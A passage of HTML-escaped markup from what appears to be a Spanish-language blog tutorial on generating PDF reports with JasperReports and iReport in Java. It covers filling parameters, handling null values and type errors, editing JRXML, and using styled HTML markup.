pre-wrap;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;pars.put(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;responsable&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;Matias De Marco&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;JasperPrint jasperPrint = &lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Se&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;llena&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; el &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;reporte&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;jasperPrint = JasperFillManager.&lt;/span&gt;&lt;span style=&quot;font-style: italic; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;fillReport&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;(&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;RUTA_JASPER, &lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;pars&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; JREmptyDataSource());&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;} &lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; (JRException e) {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Atrapa&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;la&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;excepción&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; y &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;manejala&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;correctamente&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Se&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;exporta&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; a PDF&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;JasperExportManager.&lt;/span&gt;&lt;span style=&quot;font-style: italic; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;exportReportToPdfFile&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;(jasperPrint,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;reporte.pdf&quot;&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;} &lt;/span&gt;&lt;span style=&quot;color: #7f0055; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt; (JRException e) {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Atrapa&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;la&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;excepción&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; y &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;manejala&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;correctamente&lt;/span&gt;&lt;span style=&quot;color: #3f7f5f; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Como verán, a modo de ejemplo están todas las rutas hardcodeadas, pero las rutas en una aplicación real se obtienen en forma dinámica como recurso (a partir de una ruta relativa o alguna ruta definida ya sea en Struts o en WebSphere). &lt;br class=&quot;kix-line-break&quot; /&gt;Los valores a popular, obviamente se pueden obtener de algún objeto que provenga ya sea de un servicio o directamente de algún form, o de cualquier otro objeto que contenga datos.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Ejemplo del PDF:&lt;/span&gt;&lt;img height=&quot;436px;&quot; src=&quot;https://lh5.googleusercontent.com/D0irTwx0nZWB6H_R-o1yNpbwmwCoPKFpmVbo3u1io83zPaZratiOlIv8Pcz-hnhTSroDq4VlWOJ1itFrBHYf3oNySCeHZ3VqqONl8msX9pQFbYu6jmc&quot; width=&quot;564px;&quot; /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;5) Posibles problemas.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Obviamente los diseños de los reportes no son así de sencillos en una petición real ni los valores se obtienen tan fácilmente. &lt;br class=&quot;kix-line-break&quot; /&gt;Hay problemas que suelen suceder a menudo cuando se utiliza Jasper por primera vez, por ejemplo:&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;ol style=&quot;margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;li style=&quot;font-weight: bold; list-style-type: lower-alpha; margin-left: 24px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;ClassCastException.&lt;/span&gt;&lt;span style=&quot;font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;En el iReport cada elemento tiene su tipo, que aunque por defecto es siempre String, puede modificarse para que sea Double, Integer, y demás tipos de datos. &lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Si vemos en la asignación del parámetro cantidad, está siendo pasado como una cadena pero si recibiésemos un Double en lugar de un String tenemos dos opciones:&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;1) Parsear el valor del Double a String.&lt;br class=&quot;kix-line-break&quot; /&gt;2) Modificar el tipo de dato en iReport a Double.&lt;/span&gt;&lt;span style=&quot;font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Ambas son opciones son validas y sencillas. Las propiedades del tipo de dato pueden modificarse en la pestaña propiedades a la derecha en el iReport.&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: bold; list-style-type: lower-alpha; margin-left: 24px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-weight: normal; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: bold; list-style-type: lower-alpha; margin-left: 24px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Valores nulos.&lt;/span&gt;&lt;/li&gt;&lt;/span&gt;&lt;/b&gt;&lt;/ol&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;&quot;&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Cuando no se popula un parámetro, los valores se asignan en null automáticamente. Por ejemplo si no asignamos nada al parámetro “responsable” este aparecería en null en el PDF generado.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Hay dos soluciones para esto.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;1) Usando expressions. Click derecho en cada campo y presionar en “Edit Expression”. Luego hacer algo como esto:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt;&quot;&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;($P{responsable } == null ? &quot;&quot; : $P{responsable})&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;2) La otra forma es seleccionando todos los campos y en propiedades setear “Blank when null”. Muchísimo más sencillo que la primer solución.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;b id=&quot;internal-source-marker_0.6320756333880126&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;6) JRXML.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;A esta altura vale aclarar que clickeando en la pestaña XML del iReport podemos visualizar el XML puro de todo lo que estuvimos diseñando con iReport.&lt;br class=&quot;kix-line-break&quot; /&gt;Sabiendo esto, se pueden agregar elementos, propiedades, formato, expresiones, y muchas cosas más simplemente codificando en XML. &lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Puede ser engorroso por ejemplo, mover elementos de posición tocando directamente el XML, ya que con el iReport solo se seleccionan y se mueven los elementos donde gustes, pero codificar directo en el XML puede ser muy útil para agregar reglas de formato y tags HTML.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;7) Formato HTML.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;A veces se requieren formatos que son difíciles de realizar en Java solamente con el manejo de Strings. Por ejemplo expresar 10&lt;/span&gt;&lt;span style=&quot;color: #003366; vertical-align: super; white-space: pre-wrap;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;en un simple String Java no es fácil sobre todo si el encoding utilizado no soporta este tipo de símbolos.&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Para esta tarea, iReport soporta diversos tags html que pueden servir para dar el formato que queramos. Para ello, primero hay que habilitar la propiedad “markup”a los elementos. &lt;br class=&quot;kix-line-break&quot; /&gt;Seleccionamos los elementos que queramos y en propiedades vamos a “markup” y seleccionamos “styled”.&lt;/span&gt;&lt;img height=&quot;154px;&quot; src=&quot;https://lh6.googleusercontent.com/4HDMF4lb6CRdzdCU9i2dOxPBroztEFqN2rcpbLbTdZSL5rheZ3EWM8dfACdJLpGgTYDIoAalI6bY4NLP8N9CPlkR1cSZdOSfptSnnnVyH8lPYsfzYEc&quot; width=&quot;589px;&quot; /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Ahora volvamos al código y modifiquemos los valores en el HashMap de esta manera:&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;font-family: Arial, Helvetica, sans-serif; white-space: pre;&quot;&gt;   &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;pars.put(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;combustible&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;Gas natural&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;pars.put(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;cantidad&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;1000&amp;lt;sup&amp;gt;3&amp;lt;/sup&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;pars.put(&lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;responsable&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #2a00ff; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;Matias De Marco&quot;&lt;/span&gt;&lt;span style=&quot;text-decoration: underline; vertical-align: baseline; white-space: 